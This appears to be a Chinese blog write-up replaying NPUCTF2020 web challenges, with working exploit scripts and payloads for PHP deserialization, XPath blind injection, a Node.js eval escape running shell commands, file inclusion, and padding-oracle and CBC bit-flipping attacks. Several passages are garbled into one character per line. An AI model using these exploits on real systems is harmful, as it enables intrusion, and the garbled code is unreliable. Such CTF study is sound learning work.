NPUCTF 复现 CTF WP 计算机网络 CTF 学习总结 密码学 操作系统 NPUCTF 复现 2个月前 / 0评 / 1赞 赏 码比赛的时候运维太差了,所以就想着赛后复现一下。Table of Contents[NPUCTF2020]ReadlezPHP[NPUCTF2020]ezlogin[NPUCTF2020]验证🐎[NPUCTF2020]ezinclude[NPUCTF2020]web🐕[NPUCTF2020]ReadlezPHP这道题还是比较基本的php反序列化。<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = “Y-m-d h:i:s”;
$this->b = “date”;
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo
b
(
b(
b(a);
}
}
$c = new HelloPhp;
if(isset($_GET[‘source’]))
{
highlight_file(FILE);
die(0);
}
@
p
p
p
=
u
n
s
e
r
i
a
l
i
z
e
(
ppp = unserialize(
ppp=unserialize(_GET[“data”]); 很明显,传入$b做函数,执行一下。这里system什么的被ban了,可以用call_user_func函数(call_user_func — 把第一个参数作为回调函数调用)。payload:<?php
class HelloPhp
{
public $a;
public $b;
}
$a=new HelloPhp();
$a->b=‘call_user_func’;
a
−
>
a
=
′
p
h
p
i
n
f
o
′
;
e
c
h
o
u
r
l
e
n
c
o
d
e
(
s
e
r
i
a
l
i
z
e
(
a->a='phpinfo'; echo urlencode(serialize(
a−>a=′phpinfo′;echourlencode(serialize(a));
?>执行打一发上去就可以在环境变量里看见flag。[NPUCTF2020]ezlogin这道题xpath注入。这道题的“非法注入”和“用户名或密码错误”很神奇,大概“非法注入”就是true,然后为false,这就是不让人登陆了呗。布尔盲注就可以注出用户名和密码的md5,解密登陆就可以。原理戳这篇文章。exp:import requests
import re
import time
r = requests.session()
s=‘abcdefghijklmnopqrstuvwxyz1234567890,’
headers = {‘Content-Type’:‘application/xml’}
for a in range(1,50):
for b in s:
url=‘http://d6714c8f-8cae-4daf-8348-abdc6b9348a5.node3.buuoj.cn/’
token=re.search(’’,r.get(url).text)[1]
data="’ or substring(/root/accounts/user[2]/username/text(), “+str(a)+”, 1)=’"+b+"’ or '112"+token+""
result=r.post(url=url+‘login.php’,headers=headers,data=data).text
time.sleep(0.5)
if ‘非法操作’ in result:
print(b)
break然后登陆进去,很明显的伪协议,过滤很基础,大小写绕过,没什么好说的。[NPUCTF2020]验证🐎给了源码:const express = require(‘express’);
const bodyParser = require(‘body-parser’);
const cookieSession = require(‘cookie-session’);
const fs = require(‘fs’);
const crypto = require(‘crypto’);
const keys = require(’./key.js’).keys;
function md5(s) {
return crypto.createHash(‘md5’)
.update(s)
.digest(‘hex’);
}
function saferEval(str) {
if (str.replace(/(?:Math(?:.\w+)?)|[()+-/&|^%<>=,?:]|(?:\d+.?\d(?:e\d+)?)| /g, ‘’)) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync(’./index.html’).toString();
function render(results) {
return template.replace(’{{results}}’, results.join(’
’));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: ‘PHPSESSION’, // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post(’/’, function (req, res) {
let result = ‘’;
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || ‘Wrong Wrong Wrong!!!’;
} catch (e) {
console.log(e);
result = ‘Wrong Wrong Wrong!!!’;
}
results.unshift(${req.body.e}=${result}
);
}
} else {
results.unshift(‘Not verified!’);
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get(’/source’, function (req, res) {
res.set(‘Content-Type’, ‘text/javascript;charset=utf-8’);
res.send(fs.readFileSync(’./index.js’));
});
app.get(’/’, function (req, res) {
res.set(‘Content-Type’, ‘text/html;charset=utf-8’);
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, ‘0.0.0.0’, () => {
console.log(‘Start listening’)
});首先得绕这条语句if (first && second && first.length === second.length && first!second && md5(first+keys[0]) === md5(second+keys[0])),然后在saferEval那里有个eval,看看能不能执行点什么。前面的那个用传参的类型差异就可以绕过。比如数组和字符串相加会转为字符串,对象和字符串相加也会转为字符串,所以上传这个就行。{“first”:“1”,“second”:[1]},因为直接传urlencoded的表单是没法传数组的,所以只能用json传。然后看看正则那里ban掉了很多,得用的是Math,能用的是()+-*&|%^<>=,?:,能有箭头函数=>,用原型链来绕即可。还是对着payload讲。(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()这里Math=Math.constructor,所以Math为String,然后里面又有Math.constructor,这时为Function,lambda表达式就不详细讲了,化简其实格式为eval((Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,49))))(Math+1)())进一步格式为eval((x=>(Function(String.fromCharCode(114,101,116,117,114,110,32,49))))(1)())。[NPUCTF2020]ezinclude这道题打开有hint: md5(
s
e
c
r
e
t
.
secret.
secret.name)=
p
a
s
s
,
这
道
题
就
很
奇
怪
,
c
o
o
k
i
e
里
有
h
a
s
h
,
经
测
试
为
m
d
5
(
pass,这道题就很奇怪,cookie里有hash,经测试为md5(
pass,这道题就很奇怪,cookie里有hash,经测试为md5(secret.
n
a
m
e
)
,
所
以
直
接
打
上
去
就
行
了
。
出
题
人
逻
辑
写
错
了
,
感
觉
是
想
弄
h
a
s
h
扩
展
长
度
攻
击
,
自
己
代
码
逻
辑
写
错
了
,
后
台
s
e
t
−
c
o
o
k
i
e
应
该
是
m
d
5
(
name),所以直接打上去就行了。出题人逻辑写错了,感觉是想弄hash扩展长度攻击,自己代码逻辑写错了,后台set-cookie应该是md5(
name),所以直接打上去就行了。出题人逻辑写错了,感觉是想弄hash扩展长度攻击,自己代码逻辑写错了,后台set−cookie应该是md5(secret.
p
a
s
s
)
,
就
这
直
接
返
回
m
d
5
(
pass),就这直接返回md5(
pass),就这直接返回md5(secret.
n
a
m
e
)
。
。
。
直
接
打
,
去
到
f
l
f
l
f
l
f
l
a
g
.
p
h
p
。
然
后
看
见
i
n
c
l
u
d
e
(
name)。。。直接打,去到flflflflag.php。然后看见include(
name)。。。直接打,去到flflflflag.php。然后看见include(_GET[“file”]),大概就是文件包含了。这里利用了临时文件的一个点。可以参考这篇文章。我们利用postman上传文件(不知道为什么get不了shell,一句话木马没用,我还是直接命令执行了)。然后临时文件保存在/tmp/目录下,而且这道题还有个hint,扫目录有dir.php,可以看见我们上传的临时文件的文件名,就不用去爆破了。[NPUCTF2020]web🐕padding oracle和CBC字节翻转攻击源码:我摊牌了,就是懒得写前端
'); if(!isset($_GET['source']))header('location:./index.php?source=1'); #var_dump($GLOBALS); //听说你想看这个? function aes_encrypt($iv,$data) { echo "--------encrypt---------".BR; echo 'IV:'.$iv.BR; return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR; } function aes_decrypt($iv,$data) { return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False'); } if($_GET['method']=='encrypt') { $iv = IV; $data = $flag; echo aes_encrypt($iv,$data); } else if($_GET['method']=="decrypt") { $iv = @$_POST['iv']; $data = @$_POST['data']; echo aes_decrypt($iv,$data); } echo "我摊牌了,就是懒得写前端".BR; if($_GET['source']==1)highlight_file(__FILE__); ?> exp:import requests
import time
def xor(str1, str2):
return ‘’.join([chr(ord(str1[i]) ^ ord(str2[i])) for i in range(len(str1))])
def attack():
N = 16
true_iv= ‘6666666666666666’
url = ‘http://4ee80502-6705-4e4f-aec9-3230f6c23e40.node3.buuoj.cn/index.php?source=1&method=decrypt’
tmp_value = ‘’
for i in range(1, N+1):
for j in range(0,256):
time.sleep(0.05)
padding = xor(tmp_value, chr(i) * (i - 1))
new_iv = chr(0) * (N - i) + chr(j) + padding
header = {“data”: “ly7auKVQCZWum/W/4osuPA==”, “iv”: new_iv}
res = requests.post(url, data=header)
if “我” in res.text:
tmp_value = chr(j ^ i) + tmp_value
print(tmp_value)
break
if len(tmp_value)==15:
print(xor(“666666666666666”,tmp_value))
print(xor(true_iv,tmp_value))
attack()源码:Ghlr6j1Y1PQDSDalySCPdw==
<?php #error_reporting(0); include('config.php'); //$fl4g define("METHOD", "aes-128-cbc"); define("SECRET_KEY", "6666666"); session_start(); function get_iv(){ //生成随机初始向量IV $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv; } $lalala = 'piapiapiapia'; if(!isset($_SESSION['Identity'])){ $_SESSION['iv'] = get_iv(); $_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv'])); } echo base64_encode($_SESSION['iv']).""; if(isset($_POST['iv'])){ $tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv'])); echo $tmp_id."
"; if($tmp_id ==='weber')die($fl4g); } highlight_file(__FILE__); ?> exp:import base64 as b64
source_str = “piapiapiapia” + 4 * chr(4)
target_srt = “weber” + 11 * chr(11)
iv_array = “pca4HM0iKQ9tHEzaAYbWgQ==” #你获得的初始IV的base64encode值
iv_array = bytearray(b64.b64decode(iv_array))
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(source_str[i]) ^ ord(target_srt[i])
#iv = bytes(iv_array)
print(b64.b64encode(iv_array))然后java反编译一下,转个ascii码就可。CISCN 2019 华东北赛区 web2 发表评论 取消回复电子邮件地址不会被公开。 必填项已用*标注姓名 * 电子邮件 * 站点 在此浏览器中保存我的名字、电邮和网站。评论 COMMITING…# Blog 联系 © 2020 zkw的流水日记 默认护眼夜晚SerifSans